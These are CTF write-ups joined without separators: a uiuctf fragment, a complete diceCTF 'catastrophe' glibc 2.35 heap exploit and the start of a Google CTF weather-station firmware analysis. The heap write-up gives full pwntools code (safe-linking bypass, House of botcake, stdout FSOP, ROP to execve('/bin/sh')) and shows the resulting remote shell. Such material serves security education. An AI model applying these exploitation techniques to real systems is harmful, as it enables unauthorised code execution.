To solve part 2, use `ssh [email protected]` (password is still ctf)This time, your input is sent in live, but you don't get any output until after your shell exits.ctf@test-center:~$```
**Flag:** `uiuctf{now do it the fun way :D}` |
## Introduction
> I just learned how to use malloc and free... am I doing this right?
catastrophe is a heap challenge I did during the diceCTF 2022. I did have a lot of issues with the libc and the dynamic linker, thus I did a first time the challenge with the libc that was in `/lib/libc.so.6`, then I figured out thanks to my teammate [supersnail](../../tags/supersnail) that I was using the wrong libc. Then I did it again with the right libc but the dynamic linker was (again) wrong and I lost a loot of time on it. So well, the challenge wasn't pretty hard but I took a funny way to solve it because I thought the libc had `FULL RELRO` while it had only `PARTIAL RELRO`. Find the exploit and the tasks [right here](https://github.com/ret2school/ctf/tree/master/2022/diceCTF/pwn/catastrophe).
## TL; DR
- Leak heap address + defeating safe linking by printing the first free'd chunk in the tcache.- [House of botcake](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c) to create overlapping chunks and get arbitrary write- FSOP on stdout to leak `environ` and then ROP over the stack.
## What we have
catastrophe is a classic heap challenge here are the classic informations about it:```$ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.Copyright (C) 2022 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 11.2.0.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.$ checksec --file libc.so.6 [*] '/home/nasm/Documents/ctf/2022/diceCTF/pwn/catastrophe/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled$ checksec --file catastrophe [*] '/home/nasm/Documents/ctf/2022/diceCTF/pwn/catastrophe/catastrophe' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
`2.35` libc, which means there is no more classic hooks like `__malloc_hook` or `__free_hook`. The binary allows to:- malloc up to 0x200 bytes and read data in it with the use of `fgets`- Allocate from the index 0 to 9- free anything given the index is between 0 and 9
Thus we can easily do a [House of botcake](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c) but first of all we have to defeat the safe linking to properly getting an arbitrary write.
## Defeat safe-linking
Since `2.32` is introduced in the libc the safe-linking mechanism that does some xor encyptions on `tcache`, `fastbin` next fp to prevent pointer hiijacking. Here is the core of the mechanism:```c// https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L340/* Safe-Linking: Use randomness from ASLR (mmap_base) to protect single-linked lists of Fast-Bins and TCache. That is, mask the "next" pointers of the lists' chunks, and also perform allocation alignment checks on them. This mechanism reduces the risk of pointer hijacking, as was done with Safe-Unlinking in the double-linked lists of Small-Bins. It assumes a minimum page size of 4096 bytes (12 bits). Systems with larger pages provide less entropy, although the pointer mangling still works. */#define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)```
Since for this challenge we're focused on `tcache`, here is how a chunk is free'd using safe-linking:```c// https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L3175/* Caller must ensure that we know tc_idx is valid and there's room for more chunks. */static __always_inline voidtcache_put (mchunkptr chunk, size_t tc_idx){ tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache_key;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]);}```
Thus, the first time a chunk is inserted into a tcache list, `e->next` is initialized to `&e->next >> 12` (heap base address) xor `tcache->entries[tc_idx]` which is equal to zero when the list for a given size is empty.
Which means to leak the heap address we simply have to print a free'd chunk once it has been inserted in the tcache.
## House of botcake
The [House of botcake](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c) gives a write what where primitive by poisoning the tcache. The algorithm is:- Allocate 7 `0x100` sized chunks to then fill the tcache (7 entries).- Allocate two more `0x100` sized chunks (`prev` and `a` in the example).- Allocate a small "barrier" `0x10` sized chunk.- Fill the tcache by freeing the first 7 chunks.- free(a), thus `a` falls into the unsortedbin.- free(prev), thus `prev` is consolidated with `a` to create a large `0x221` sized chunk that is yet in the unsortedbin.- Request one more `0x100` sized chunk to let a single entry left in the tcache.- free(a) again, given `a` is part of the large `0x221` sized chunk it leads to an UAF. Thus `a` falls into the tcache.- That's finished, to get a write what where we just need to request a `0x130` sized chunk. Thus we can hiijack the next fp of `a` that is currently referenced by the tcache by the location we wanna write to. And next time two `0x100` sized chunks are requested, the second one will be the target location.
## Getting arbitrary write
To make use of the write what were we got thanks to the [House of botcake](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c), we need to get both heap and libc leak. To leak libc that's pretty easily we just need to print out a free'd chunk stored into the unsortedbin, it's forward pointer is not encrypted with safe-linking.
As seen previously, to bypass safe-linking we have to print a free'd chunk once it has been inserted in the tcache. It would give us the base address of the heap. When we got it, we just have to initialize the location we wanna write to `location ^ ((heap_base + chunk_offset) >> 12)` to encrypt properly the pointer, this way the primitive is efficient.
Implmentation of the [House of botcake](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c) + safe-linking bypass, heap and libc leak:```py
io = start()
def alloc(idx, data, size): io.sendlineafter("-\n> ", b"1") io.sendlineafter("Index?\n> ", str(idx).encode()) io.sendlineafter("> ", str(size).encode()) io.sendlineafter(": ", data)
def free(idx): io.sendlineafter("> ", b"2") io.sendlineafter("> ", str(idx).encode())
def view(idx): io.sendlineafter("> ", b"3") io.sendlineafter("> ", str(idx).encode())
for i in range(7): alloc(i, b"", 0x100)
free(0)
view(0)
heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) << 12))pwn.log.info(f"heap @ {hex(heap)}")# then we defeated safe linking lol
alloc(0, b"YY", 0x100)# request back the chunk we used to leak the heap
alloc(7, b"YY", 0x100) # prevalloc(8, b"YY", 0x100) # a
alloc(9, b"/bin/sh\0", 0x10) # barrier
# fill tcachefor i in range(7): free(i)
free(8) # free(a) => unsortedbinfree(7) # free(prev) => merged with a
# leak libcview(8)
libc = pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) - 0x219ce0 # - 0x1bebe0 # offset of the unsorted bin
rop = pwn.ROP(libc)binsh = next(libc.search(b"/bin/sh\x00"))rop.execve(binsh, 0, 0)
environ = libc.address + 0x221200stdout = libc.address + 0x21a780
pwn.log.info(f"libc: {hex(libc)}")pwn.log.info(f"environ: {hex(environ)}")pwn.log.info(f"stdout: {hex(stdout)}")
alloc(0, b"YY", 0x100) # pop a chunk from the tcache to let an entry left to a free(8) # free(a) => tcache
alloc(1, b"T"*0x108 + pwn.p64(0x111) + pwn.p64((stdout ^ ((heap + 0xb20) >> 12))), 0x130) # 0x130, too big for tcache => unsortedbin UAF on a to replace a->next with the address of the target location (stdout) alloc(2, b"TT", 0x100)# pop a from tcache
# next 0x100 request will return the target location (stdout)
"""0x55c4fbcd7a00: 0x0000000000000000 0x0000000000000141 [prev]0x55c4fbcd7a10: 0x5454545454545454 0x54545454545454540x55c4fbcd7a20: 0x5454545454545454 0x54545454545454540x55c4fbcd7a30: 0x5454545454545454 0x54545454545454540x55c4fbcd7a40: 0x5454545454545454 0x54545454545454540x55c4fbcd7a50: 0x5454545454545454 0x54545454545454540x55c4fbcd7a60: 0x5454545454545454 0x54545454545454540x55c4fbcd7a70: 0x5454545454545454 0x54545454545454540x55c4fbcd7a80: 0x5454545454545454 0x54545454545454540x55c4fbcd7a90: 0x5454545454545454 0x54545454545454540x55c4fbcd7aa0: 0x5454545454545454 0x54545454545454540x55c4fbcd7ab0: 0x5454545454545454 0x54545454545454540x55c4fbcd7ac0: 0x5454545454545454 0x54545454545454540x55c4fbcd7ad0: 0x5454545454545454 0x54545454545454540x55c4fbcd7ae0: 0x5454545454545454 0x54545454545454540x55c4fbcd7af0: 0x5454545454545454 0x54545454545454540x55c4fbcd7b00: 0x5454545454545454 0x54545454545454540x55c4fbcd7b10: 0x5454545454545454 0x0000000000000111 [a]0x55c4fbcd7b20: 0x00007f5d45ff5b57 0x4f60331b73b9000a0x55c4fbcd7b30: 0x0000000000000000 0x00000000000000000x55c4fbcd7b40: 0x0000000000000000 0x00000000000000e1 [unsortedbin]0x55c4fbcd7b50: 0x00007f5819b0dce0 0x00007f5819b0dce00x55c4fbcd7b60: 0x0000000000000000 0x00000000000000000x55c4fbcd7b70: 0x0000000000000000 0x00000000000000000x55c4fbcd7b80: 0x0000000000000000 0x00000000000000000x55c4fbcd7b90: 0x0000000000000000 0x00000000000000000x55c4fbcd7ba0: 0x0000000000000000 0x00000000000000000x55c4fbcd7bb0: 0x0000000000000000 0x00000000000000000x55c4fbcd7bc0: 0x0000000000000000 0x00000000000000000x55c4fbcd7bd0: 0x0000000000000000 0x00000000000000000x55c4fbcd7be0: 0x0000000000000000 0x00000000000000000x55c4fbcd7bf0: 0x0000000000000000 0x00000000000000000x55c4fbcd7c00: 0x0000000000000000 0x00000000000000000x55c4fbcd7c10: 0x0000000000000000 0x00000000000000000x55c4fbcd7c20: 0x00000000000000e0 0x00000000000000200x55c4fbcd7c30: 0x0068732f6e69622f 0x000000000000000a0x55c4fbcd7c40: 0x0000000000000000 0x00000000000203c1 [top chunk]"""```
## FSOP on stdout to leak environ
I didn't see first that only `PARTIAL RELRO` was enabled on the libc, so the technique I show you here was thought to face a `2.35` libc with `FULL RELRO` enabled that the reason why I didn't just hiijack some GOT pointers within the libc.
A pretty convenient way to gain code execution when the hooks (`__malloc_hook`, `__free_hook`) are not present (since `2.32` cf [this for 2.34](https://sourceware.org/pipermail/libc-alpha/2021-August/129718.html)) is to leak the address of the stack to then write a ROPchain on it. To leak a stack address we can make use of the `environ` symbol stored in the dynamic linker, it contains a pointer toward `**envp`.
To read this pointer we need a read what where primitive! Which can be achieved through a file stream oriented programming (FSOP) attack on `stdout` for example. To dig more FSOP I advise you to read [this write-up](https://nasm.re/posts/onceforall/) as well as [this one](https://nasm.re/posts/bookwriter/).
To understand the whole process I'll try to introduce you to FSOP. First of all the target structure is stdout, we wanna corrupt stdout because it's used ritght after the `fgets` that reads the input from the user by the `putchar` function. Basically on linux "everything is a file" from the character device the any stream (error, input, output, opened file) we can interact with a resource just by opening it and by getting a file descriptor on it, right ? This way each file descripor has an associated structure called `FILE` you may have used if you have already done some stuff with files on linux. Here is its definition:```c// https://elixir.bootlin.com/glibc/latest/source/libio/bits/types/struct_FILE.h#L49/* The tag name of this struct is _IO_FILE to preserve historic C++ mangled names for functions taking FILE* arguments. That name should not be used in new code. */struct _IO_FILE{ int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1];
_IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};
struct _IO_FILE_complete{ struct _IO_FILE _file;#endif __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];};```
Here are brievly role of each fields:- `_flags` stands for the behaviour of the stream when a file operation occurs.- `_IO_read_ptr` address of input within the input buffer that has been already used. - `_IO_read_end` end address of the input buffer. - `_IO_read_base` base address of the input buffer.- `_IO_write_base` base address of the ouput buffer.- `_IO_write_ptr` points to the character that hasn't been printed yet.- `_IO_write_end` end address of the output buffer.- `_IO_buf_base` base address for both input and output buffer.- `_IO_buf_end` end address for both input and output buffer.- `_chain` stands for the single linked list that links of all file streams.- `_fileno` stands for the file descriptor associated to the file.- `_vtable_offset` stands for the offset of the vtable we have to use.- `_offset` stands for the current offset within the file.
Relatable flags:- `_IO_USER_BUF` During line buffered output, _IO_write_base==base() && epptr()==base(). However, ptr() may be anywhere between base() and ebuf(). This forces a call to filebuf::overflow(int C) on every put. If there is more space in the buffer, and C is not a '\n', then C is inserted, and pptr() incremented.- `_IO_MAGIC` Magic number of `fp->_flags`.- `_IO_UNBUFFERED` If a filebuf is unbuffered(), the _shortbuf[1] is used as the buffer.- `_IO_LINKED` In the list of all open files.
To understand I advise you to read this [great article](https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write) about FILE structures. What we gonna do right now is trying to understand the use of `stdout` during within the `putchar` function. And we will try to find a code path that will not write the provided argument (in this case the `\n` taken by `putchar`) into the output buffer we control but rather flush the file stream to directly print its content and then print the provided argument. This way we could get an arbitrary read by controlling the output buffer.Let's take a closer look at the ` __putc_unlocked_body` macro:```c
// https://elixir.bootlin.com/glibc/latest/source/libio/bits/types/struct_FILE.h#L106#define __putc_unlocked_body(_ch, _fp) \ (__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end) \ ? __overflow (_fp, (unsigned char) (_ch)) \ : (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
```
It ends up calling `__overflow` if there is no more space in the output buffer (`(_fp)->_IO_write_ptr >= (_fp)->_IO_write_end)`). That's basically the code path we need to trigger to call `__overflow` instead of just write the provided char into the output buffer.So first condition:- `(_fp)->_IO_write_ptr >= (_fp)->_IO_write_end`
```c// https://elixir.bootlin.com/glibc/latest/source/libio/genops.c#L198int__overflow (FILE *f, int ch){ /* This is a single-byte stream. */ if (f->_mode == 0) _IO_fwide (f, -1); return _IO_OVERFLOW (f, ch);}```
Given the file stream isn't oriented (byte granularity) we directly reach the `_IO_OVERFLOW` call, now the final goal to get a leak is to reach the `_IO_do_write` call:```c// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L730
int_IO_new_file_overflow (FILE *f, int ch){ if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) { /* Allocate a buffer if needed. */ if (f->_IO_write_base == NULL) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } /* Otherwise must be currently reading. If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end, logically slide the buffer forwards one block (by setting the read pointers to all point at the beginning of the block). This makes room for subsequent output. Otherwise, set the read pointers to _IO_read_end (leaving that alone, so it can continue to correspond to the external position). */ if (__glibc_unlikely (_IO_in_backup (f))) { size_t nbackup = f->_IO_read_end - f->_IO_read_ptr; _IO_free_backup_area (f); f->_IO_read_base -= MIN (nbackup, f->_IO_read_base - f->_IO_buf_base); f->_IO_read_ptr = f->_IO_read_base; }
if (f->_IO_read_ptr == f->_IO_buf_end) f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base; f->_IO_write_ptr = f->_IO_read_ptr; f->_IO_write_base = f->_IO_write_ptr; f->_IO_write_end = f->_IO_buf_end; f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING; if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) f->_IO_write_end = f->_IO_write_ptr; } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */ if (_IO_do_flush (f) == EOF) return EOF; *f->_IO_write_ptr++ = ch; if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n')) if (_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) == EOF) return EOF; return (unsigned char) ch;}libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
```
Given `ch` is `\n`, to trigger the `_IO_do_flush` call which will flush the file stream we have to:- Remove `_IO_NO_WRITES` from `fp->_flags` to avoid the first condition.- Add `_IO_CURRENTLY_PUTTING` to `fp->_flags` and give a non `NULL` value to `f->_IO_write_base` to avoid the second condition (useless code).- make `f->_IO_write_ptr` equal to `f->_IO_buf_end` to then call `_IO_do_flush`.
Now we reached `_IO_do_flush` which is basically just a macro:```c
// https://elixir.bootlin.com/glibc/latest/source/libio/libioP.h#L507#define _IO_do_flush(_f) \ ((_f)->_mode <= 0 \ ? _IO_do_write(_f, (_f)->_IO_write_base, \ (_f)->_IO_write_ptr-(_f)->_IO_write_base) \ : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \ ((_f)->_wide_data->_IO_write_ptr \ - (_f)->_wide_data->_IO_write_base)))
```
Given `stdout` is byte-oriented `_IO_new_do_write` is called:```c
// https://elixir.bootlin.com/glibc/latest/source/libio/fileops.c#L418static size_t new_do_write (FILE *, const char *, size_t);
/* Write TO_DO bytes from DATA to FP. Then mark FP as having empty buffers. */
int_IO_new_do_write (FILE *fp, const char *data, size_t to_do){ return (to_do == 0 || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;}libc_hidden_ver (_IO_new_do_write, _IO_do_write)
static size_tnew_do_write (FILE *fp, const char *data, size_t to_do){ size_t count; if (fp->_flags & _IO_IS_APPENDING) /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); if (fp->_cur_column && count) fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1; _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp->_IO_buf_base : fp->_IO_buf_end); return count;}
```
To avoid the `_IO_SYSSEEK` which could break stdout, we can add `_IO_IS_APPENDING` to `fp->_flags`. Then `_IO_SYSWRITE` is called and prints `(_f)->_IO_write_ptr-(_f)->_IO_write_base` bytes from `(_f)->_IO_write_base` to stdout. But that's not finished, right after we got the stack leak `new_do_write` initializes the output / input buffer to `_IO_buf_base` except for the output buffer which is initialized to `_IO_buf_end` (`_IO_LINE_BUF` not present). Thus we have to make `fp->_IO_buf_base` and `fp->_IO_buf_end` equal to valid writable pointers.
Thus we just need to:- `fp->_flags` = (`fp->_flags` & ~(`_IO_NO_WRITES`)) | `_IO_CURRENTLY_PUTTING` | `_IO_IS_APPENDING`.- `f->_IO_write_ptr` = `fp->_IO_write_end` = `f->_IO_buf_end` = `&environ + 8`.- `fp->_IO_write_base` = `&environ`.
Which gives:```py
alloc(3, pwn.p64(0xfbad1800) + # _flags pwn.p64(environ)*3 + # _IO_read_* pwn.p64(environ) + # _IO_write_base pwn.p64(environ + 0x8)*2 + # _IO_write_ptr + _IO_write_end pwn.p64(environ + 8) + # _IO_buf_base pwn.p64(environ + 8) # _IO_buf_end , 0x100)
stack = pwn.u64(io.recv(8)[:-1].ljust(8, b"\x00")) - 0x130 - 8 # Offset of the saved rip that belongs to frame of the op_malloc functionpwn.log.info(f"stack: {hex(stack)}")
```
## ROPchain
Now we leaked the stack address we finally just need to achieve another arbitrary write to craft the ROPchain onto the `op_malloc` function that writes the user input into the requested chunk.
To get the arbitrary write we just have to use the same overlapping chunks technique than last time, let's say we wanna write to `target` and we have `prev` that overlaps `victim`:- `free(prev)` ends up in the tcachebin (0x140), it has already been consolidated, it *already* overlaps `victim`.- `free(victim)` ends up in the tcachebin (0x110).- `malloc(0x130)` returns `prev`, thus we can corrupt `victim->next` and intialize it to `(target ^ ((chunk_location) >> 12)` to bypass safe-linking.- `malloc(0x100)` returns `victim` and tcachebin (0x110) next free chunk is `target`.- `malloc(0x100)` gives a write what where.
When we got the write what where on the stack we simply have to craft a call ot system since there is no `seccomp` shit.Here is the script:```pyfree(1) # prevfree(2) # victim
alloc(5, b"T"*0x108 + pwn.p64(0x111) + pwn.p64((stack ^ ((heap + 0xb20) >> 12))), 0x130)# victim->next = targetalloc(2, b"TT", 0x100)
alloc(3, pwn.p64(stack) + rop.chain(), 0x100) # overwrite sRBP for nothing lmao# ROPchain on do_malloc's stackframe```
And here we are:```bashnasm@off:~/Documents/pwn/diceCTF/catastrophe/f2$ python3 sexploit.py REMOTE HOST=mc.ax PORT=31273[*] '/home/nasm/Documents/pwn/diceCTF/catastrophe/f2/catastrophe' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to mc.ax on port 31273: Done/home/nasm/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout)[*] heap @ 0x559cb0184000[*] libc: 0x7efe8a967000[*] environ: 0x7efe8ab88200[*] stdout: 0x7efe8ab81780[*] stack: 0x7ffe06420710[*] Switching to interactive mode$ iduid=1000 gid=1000 groups=1000$ lsflag.txtrun$ cat flag.txthope{apparently_not_good_enough_33981d897c3b0f696e32d3c67ad4ed1e}```
## Resources- [a1ex.online](https://a1ex.online/2020/10/01/glibc-IO%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/)- [ray-cp](https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write)- [Mutepig's Blog](http://blog.leanote.com/post/mut3p1g/file-struct)
## Appendices
Final exploit:```py#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfmate
import osimport timeimport pwn
# Set up pwntools for the correct architectureexe = pwn.context.binary = pwn.ELF('catastrophe')pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = Falsepwn.context.timeout = 2000
host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if pwn.args.GDB: return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''b* mainsource ~/Downloads/pwndbg/gdbinit.pycontinue'''.format(**locals())
io = None
libc = pwn.ELF("libc.so.6")
io = start()
def alloc(idx, data, size, s=False): io.sendlineafter("-\n> ", b"1") io.sendlineafter("Index?\n> ", str(idx).encode()) io.sendlineafter("> ", str(size).encode()) if s: io.sendafter(": ", data) else: io.sendlineafter(": ", data)
def free(idx): io.sendlineafter("> ", b"2") io.sendlineafter("> ", str(idx).encode())
def view(idx): io.sendlineafter("> ", b"3") io.sendlineafter("> ", str(idx).encode())
for i in range(7): alloc(i, b"", 0x100)free(0)
view(0)
heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) << 12))pwn.log.info(f"heap @ {hex(heap)}")# then we defeated safe linking lol
alloc(0, b"YY", 0x100)
alloc(7, b"YY", 0x100)alloc(8, b"YY", 0x100)
alloc(9, b"/bin/sh\0", 0x10)
for i in range(7): free(i)
alloc(9, b"YY", 100)free(9)
free(8)free(7)view(8)
libc.address = pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) - 0x219ce0 # - 0x1bebe0 # offset of the unsorted bin
rop = pwn.ROP(libc)binsh = next(libc.search(b"/bin/sh\x00"))rop.execve(binsh, 0, 0)
environ = libc.address + 0x221200 stdout = libc.address + 0x21a780
pwn.log.info(f"libc: {hex(libc.address)}")pwn.log.info(f"environ: {hex(environ)}")pwn.log.info(f"stdout: {hex(stdout)}")
alloc(0, b"YY", 0x100)free(8)alloc(1, b"T"*0x108 + pwn.p64(0x111) + pwn.p64((stdout ^ ((heap + 0xb20) >> 12))), 0x130)alloc(2, b"TT", 0x100)alloc(3, pwn.p32(0xfbad1800) + pwn.p32(0) + pwn.p64(environ)*3 + pwn.p64(environ) + pwn.p64(environ + 0x8)*2 + pwn.p64(environ + 8) + pwn.p64(environ + 8), 0x100)
stack = pwn.u64(io.recv(8)[:-1].ljust(8, b"\x00")) - 0x130 - 8# - 0x1bebe0 # offset of the unsorted binpwn.log.info(f"stack: {hex(stack)}")
free(1) # largefree(2)
alloc(5, b"T"*0x108 + pwn.p64(0x111) + pwn.p64((stack ^ ((heap + 0xb20) >> 12))), 0x130)alloc(2, b"TT", 0x100)
alloc(3, pwn.p64(stack) + rop.chain(), 0x100) # overwrite sRBP for nothing lmao
io.interactive()``` |
## Official description
> Our DYI Weather Station is fully secure! No, really! Why are you laughing?!> OK, to prove it we're going to put a flag in the internal ROM, give you the> source code, datasheet, and network access to the interface.
We are given a ZIP file containing[Device Datasheet Snippets.pdf](https://github.com/google/google-ctf/raw/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-weather/attachments/Device%20Datasheet%20Snippets.pdf)and[firmware.c](https://raw.githubusercontent.com/google/google-ctf/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-weather/attachments/firmware.c).We are also given a server host and port:`weather.2022.ctfcompetition.com:1337`.
## Exploration
### Datasheet snippets
Let's start by reading the datasheet snippets[Device Datasheet Snippets.pdf](https://github.com/google/google-ctf/raw/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-weather/attachments/Device%20Datasheet%20Snippets.pdf):
* The system is powered by a `CTF-8051` micro-controller, probably based on [Intel 8051](https://en.wikipedia.org/wiki/Intel_8051).
* The firmware is read from a `CTF-5593D` EEPROM. * It contains 64 pages of 64 bytes. * It is connected via SPI for data access and I2C for programming. * After erase, we can only clear bits via I2C.
* Multiple I2C sensors are connected to the micro-controller.
* A `FlagROM` device is present inside the micro-controller. It contains the flag.
**From this point the goal is clear: we need to alter the operation of the weatherstation to read the content of `FlagROM`.**
### Firmware source code
Let's now read[firmware.c](https://raw.githubusercontent.com/google/google-ctf/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-weather/attachments/firmware.c):
* This firmware exposes a serial command prompt. This command prompt is accessible via Netcat: ``` $ nc weather.2022.ctfcompetition.com 1337 == proof-of-work: disabled == Weather Station ? ``` * Users can issue I2C read commands with the following syntax: `r I2C_ADDR LENGTH`. * Users can issue I2C write commands with the following syntax: `w I2C_ADDR LENGTH BYTE0 BYTE1 BYTE2 ...`. * Read and write commands are limited to these whitelisted I2C addresses: ```C const char *ALLOWED_I2C[] = { "101", // Thermometers (4x). "108", // Atmospheric pressure sensor. "110", // Light sensor A. "111", // Light sensor B. "119", // Humidity sensor. NULL }; ```
For example, let's try to write then read to the humidity sensor:```? w 119 20 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99i2c status: transaction completed / ready? r 119 128i2c status: transaction completed / ready37 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-end```
The remote command prompt has a 120 seconds time limit:`exiting (device execution time limited to 120 seconds)`.
## Proposed solution
We exploit a vulnerability in the I2C address parser to read the EEPROM.Then, we modify a dump of the EEPROM to add instructions to read `FlagROM`.Finally, we write this modified firmware back to the EEPROM to extract the flag.
### I2C address parser vulnerability
If we try to issue a read command outside of the `ALLOWED_I2C` whitelist,we get the following error message:`-err: port invalid or not allowed`. Looking at `firmware.c` weunderstand that this error message is due to the `port_to_int8` functionreturning `-1`:
```Cint8_t port_to_int8(char *port) { if (!is_port_allowed(port)) { return -1; }
return (int8_t)str_to_uint8(port);}```
`str_to_uint8` cannot return `-1`, i.e. this error message is triggered by`is_port_allowed` returning `-1`:
```Cbool is_port_allowed(const char *port) { for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) { const char *pa = *allowed; const char *pb = port; bool allowed = true; while (*pa && *pb) { if (*pa++ != *pb++) { allowed = false; break; } } if (allowed && *pa == '\0') { // vuln, missing *pb == '\0' return true; } } return false;}```
